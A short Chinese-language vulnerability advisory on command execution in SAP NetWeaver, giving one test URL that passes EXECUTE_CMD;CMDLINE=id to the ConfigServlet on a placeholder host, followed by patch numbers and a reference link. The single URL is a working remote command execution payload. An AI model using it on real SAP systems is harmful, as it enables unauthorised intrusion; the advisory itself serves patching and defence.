sap netweaver命令执行

sap netweaver命令执行测试

SAP NetWeaver 是基于专业标准的集成化应用平台，能够大幅度降低系统整合的复杂性。其组件包括门户、应用服务器、商务智能解决方案以及系统整合和数据整合技术。

漏洞测试：
https://XXX/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=id

修复方案：

联系SAP专业厂家，已经发了补丁了
https://www.sap.com/index.html
打如下两个补丁即可
SAP 1467771,
SAP 1445998

参考链接：
http://www.hackdig.com/?04/hack-3039.htm